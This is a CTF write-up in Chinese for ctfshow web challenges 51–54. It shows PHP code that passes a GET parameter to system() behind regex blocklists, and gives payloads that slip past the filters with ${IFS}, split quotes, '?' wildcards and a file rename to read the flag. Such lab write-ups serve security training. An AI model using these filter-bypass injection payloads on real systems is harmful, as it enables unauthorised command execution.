ctfshow-web入门-命令执行-51-54


web51

源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:42:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

同50类似

payload?c=nl<fla''g.php%7C%7C

web52

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

用上一题的老方法发现不行,发现只有一个flag is here ,这一看就是一个假的flag,尝试查看根目录

payload?c=ls${IFS}/%7C%7C 发现有flag,于是payload?c=nl${IFS}/fla''g%7C%7C

web53

源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 18:21:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

和52类似

payload?c=ta''c${IFS}fla''g.php

web54

源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

看到过滤了更多,于是使用mv${IFS}fla?.php${IFS}a.txt,发现可以执行,在访问a.txt拿到flag

解法二:

​ payload ?c=/bin/?at${IFS}f???????


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